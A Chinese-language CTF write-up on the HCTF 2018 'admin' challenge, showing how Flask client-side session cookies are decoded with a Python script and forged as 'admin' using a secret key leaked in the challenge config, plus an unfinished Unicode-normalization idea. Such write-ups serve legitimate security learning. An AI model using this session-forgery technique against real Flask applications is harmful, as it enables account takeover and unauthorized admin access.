flask中session伪造

flask中session伪造

前言

  • 环境:[HCTF 2018]admin1
  • 知识点:session伪造
  • 参考:wp1wp2

做题

题目页面,注册,登录两个窗口,先注册进去,进去之后有index,post,change password,logout四个功能窗口,在change password页面查看源码时发现了提示源码网站.

思路一

对于flask框架,其session是以cookie的形式存储在客户端的,所以造成了session可读,我们只要用网上的session解密脚本就可实现读取,解密读取之后我们知道了它的格式

比如:

{'_fresh': True, '_id': b'95d3b3cd79b0faa83832344b7912541e88d445d7b5d9420b09e1db77c768cc53467588bee26e8aa59a56b7894ebff266fd9d73ac10e87b3fc934ad815b1aec3f', 'csrf_token': b'01653cb0c99bd2c59551ea514544d421501448ca', 'image': b'nvO9', 'name': '123', 'user_id': '10'}

但我们此时要伪造admin用户,我们就可以将name改成123然后再加密进行session伪造,但是怎样加密呢,这里需要知道secret_key 才能进行加密伪造

session解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))


我们在题目的config.py里看到它的密钥是'ckj123'

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

然后利用flask_session加密脚本

payload伪造的session

{'_fresh': True, '_id': b'2ff34a5077d2f711c7aa5fb35b61ebe2d8cf4081a56609f46c43d95e51de0efa5713b6d78b48664e4d4bbf4aabb1fd6b6484b97d2b48997ce7a83878b78781d1', 'csrf_token': b'44463a5670f0c0ad61ab0d2dc0ae725a14808b81', 'image': b'MAuE', 'name': 'admin', 'user_id': '10'}

session加密


得到admin的session,然后替换session即可得到flag.

思路二

在python中自带lower 函数将大写字母转换为小写,我们注意到代码中出现了个strtolower ,我们仔细审计下这个函数

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞

使用nodeprep.prepare函数转换时过程如下:

ᴬ=>A=>a

啊这这里是python的flask框架,不熟悉,代码审计很迷,但是还是可以勉强审计出,注册,登录,改密码的时候都会调用strtolower 函数,也就是我们注册是用ᴬdmin ,那么存储到数据库就是Admin ,不对,不是这样,裂开,不会,以后来填这个坑。

原文地址:https://www.cnblogs.com/NineOne/p/14033379.html